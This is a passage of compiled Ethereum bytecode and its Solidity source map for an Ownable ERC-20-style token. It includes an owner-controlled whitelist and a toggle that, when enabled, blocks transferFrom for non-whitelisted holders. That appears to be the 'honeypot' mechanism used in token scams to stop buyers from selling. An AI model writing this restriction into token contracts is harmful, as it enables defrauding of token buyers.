b7565b600190509392505050565b6000600260009054906101000a900460ff16905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c67576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6064825111151515610c7857600080fd5b60008090505b8251811015610d03576001600360008584815181101515610c9b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610c7e565b5060019050919050565b6000610da83384610da385600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170c90919063ffffffff16565b6113b7565b6001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e79576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6064825111151515610e8a57600080fd5b60008090505b8251811015610f15576000600360008584815181101515610ead57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e90565b5060019050919050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561104a5780601f1061101f5761010080835404028352916020019161104a565b820191906000526020600020905b81548152906001019060200180831161102d57829003601f168201915b5050505050905090565b60006110ef33846110ea85600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ea90919063ffffffff16565b6113b7565b6001905092915050565b600061110633848461151a565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561125c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061172e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156113f357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561142f57600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561155657600080fd5b6115a881600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ea90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163d81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170c90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111515156116fb57600080fd5b600082840390508091505092915050565b600080828401905083811015151561172357600080fd5b809150509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a165627a7a72305820d6e8155ed3cd86a2de9af1a1b3e5dcdc7bee5ba8cd68f82c85e56be8c676db1f0029

11150:208:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11150:208:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10740:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;10740:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7219:148;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7219:148:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6698:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10148:219;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;7378:329;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7378:329:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;11056:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;9541:308;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;9541:308:0;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;9541:308:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;9541:308:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;9541:308:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;9541:308:0;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;7717:203;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7717:203:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;9859:275;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;9859:275:0;;;;;;;;;;21:11:-1;8;5:28;2:2;;;46:1;43;36:12;2:2;9859:275:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;9859:275:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;9859:275:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;93:3;85:6;81:16;74:27;137:4;133:9;126:4;121:3;117:14;113:30;106:37;;169:3;161:6;157:16;147:26;;9859:275:0;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6396:41;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6396:41:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6803:106;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6803:106:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5873:79;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;10890:87;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;10890:87:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7930:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7930:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;7068:140;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7068:140:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;6923:131;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6923:131:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6100:236;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;6100:236:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;6444:27;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;10740:83;10777:13;10810:5;10803:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10740:83;:::o;7219:148::-;7284:4;7301:36;7310:10;7322:7;7331:5;7301:8;:36::i;:::-;7355:4;7348:11;;7219:148;;;;:::o;6698:91::-;6742:7;6769:12;;6762:19;;6698:91;:::o;10148:219::-;10199:12;6015:10;6005:20;;:6;;;;;;;;;;;:20;;;5997:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10229:7;;;;;;;;;;;10225:102;;;10263:5;10253:7;;:15;;;;;;;;;;;;;;;;;;10225:102;;;10311:4;10301:7;;:14;;;;;;;;;;;;;;;;;;10225:102;10344:5;10337:12;;10148:219;:::o;7378:329::-;7457:4;7477:7;;;;;;;;;;;7474:91;;;7508:9;:15;7518:4;7508:15;;;;;;;;;;;;;;;;;;;;;;;;;7500:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7474:91;7575:26;7585:4;7591:2;7595:5;7575:9;:26::i;:::-;7612:65;7621:4;7627:10;7639:37;7670:5;7639:8;:14;7648:4;7639:14;;;;;;;;;;;;;;;:26;7654:10;7639:26;;;;;;;;;;;;;;;;:30;;:37;;;;:::i;:::-;7612:8;:65::i;:::-;7695:4;7688:11;;7378:329;;;;;:::o;11056:83::-;11097:5;11122:9;;;;;;;;;;;11115:16;;11056:83;:::o;9541:308::-;9621:4;6015:10;6005:20;;:6;;;;;;;;;;;:20;;;5997:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9668:3;9646:11;:18;:25;;9638:34;;;;;;;;9720:6;9729:1;9720:10;;9715:105;9736:11;:18;9732:1;:22;9715:105;;;9804:4;9776:9;:25;9786:11;9798:1;9786:14;;;;;;;;;;;;;;;;;;9776:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;9756:3;;;;;;;9715:105;;;;9837:4;9830:11;;9541:308;;;:::o;7717:203::-;7797:4;7814:76;7823:10;7835:7;7844:45;7878:10;7844:8;:20;7853:10;7844:20;;;;;;;;;;;;;;;:29;7865:7;7844:29;;;;;;;;;;;;;;;;:33;;:45;;;;:::i;:::-;7814:8;:76::i;:::-;7908:4;7901:11;;7717:203;;;;:::o;9859:275::-;9936:4;6015:10;6005:20;;:6;;;;;;;;;;;:20;;;5997:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9983:3;9961:11;:18;:25;;9953:34;;;;;;;;10004:6;10013:1;10004:10;;9999:106;10020:11;:18;10016:1;:22;9999:106;;;10088:5;10060:9;:25;10070:11;10082:1;10070:14;;;;;;;;;;;;;;;;;;10060:25;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;10040:3;;;;;;;9999:106;;;;10122:4;10115:11;;9859:275;;;:::o;6396:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;6803:106::-;6858:7;6885:9;:16;6895:5;6885:16;;;;;;;;;;;;;;;;6878:23;;6803:106;;;:::o;5873:79::-;5911:7;5938:6;;;;;;;;;;;5931:13;;5873:79;:::o;10890:87::-;10929:13;10962:7;10955:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10890:87;:::o;7930:213::-;8015:4;8032:81;8041:10;8053:7;8062:50;8096:15;8062:8;:20;8071:10;8062:20;;;;;;;;;;;;;;;:29;8083:7;8062:29;;;;;;;;;;;;;;;;:33;;:50;;;;:::i;:::-;8032:8;:81::i;:::-;8131:4;8124:11;;7930:213;;;;:::o;7068:140::-;7129:4;7146:32;7156:10;7168:2;7172:5;7146:9;:32::i;:::-;7196:4;7189:11;;7068:140;;;;:::o;6923:131::-;6995:7;7022:8;:15;7031:5;7022:15;;;;;;;;;;;;;;;:24;7038:7;7022:24;;;;;;;;;;;;;;;;7015:31;;6923:131;;;;:::o;6100:236::-;6015:10;6005:20;;:6;;;;;;;;;;;:20;;;5997:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6201:1;6181:22;;:8;:22;;;;6173:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6291:8;6262:38;;6283:6;;;;;;;;;;;6262:38;;;;;;;;;;;;6320:8;6311:6;;:17;;;;;;;;;;;;;;;;;;6100:236;:::o;6444:27::-;;;;;;;;;;;;;:::o;8986:254::-;9098:1;9079:21;;:7;:21;;;;9071:30;;;;;;;;9137:1;9120:19;;:5;:19;;;;9112:28;;;;;;;;9180:5;9153:8;:15;9162:5;9153:15;;;;;;;;;;;;;;;:24;9169:7;9153:24;;;;;;;;;;;;;;;:32;;;;9217:7;9201:31;;9210:5;9201:31;;;9226:5;9201:31;;;;;;;;;;;;;;;;;;8986:254;;;:::o;8155:262::-;8257:1;8243:16;;:2;:16;;;;8235:25;;;;;;;;8291:26;8311:5;8291:9;:15;8301:4;8291:15;;;;;;;;;;;;;;;;:19;;:26;;;;:::i;:::-;8273:9;:15;8283:4;8273:15;;;;;;;;;;;;;;;:44;;;;8344:24;8362:5;8344:9;:13;8354:2;8344:13;;;;;;;;;;;;;;;;:17;;:24;;;;:::i;:::-;8328:9;:13;8338:2;8328:13;;;;;;;;;;;;;;;:40;;;;8399:2;8384:25;;8393:4;8384:25;;;8403:5;8384:25;;;;;;;;;;;;;;;;;;8155:262;;;:::o;2971:150::-;3029:7;3062:1;3057;:6;;3049:15;;;;;;;;3075:9;3091:1;3087;:5;3075:17;;3112:1;3105:8;;;2971:150;;;;:::o;3135:::-;3193:7;3213:9;3229:1;3225;:5;3213:17;;3254:1;3249;:6;;3241:15;;;;;;;;3276:1;3269:8;;;3135:150;;;;:::o

bzzr://d6e8155ed3cd86a2de9af1a1b3e5dcdc7bee5ba8cd68f82c85e56be8c676db1f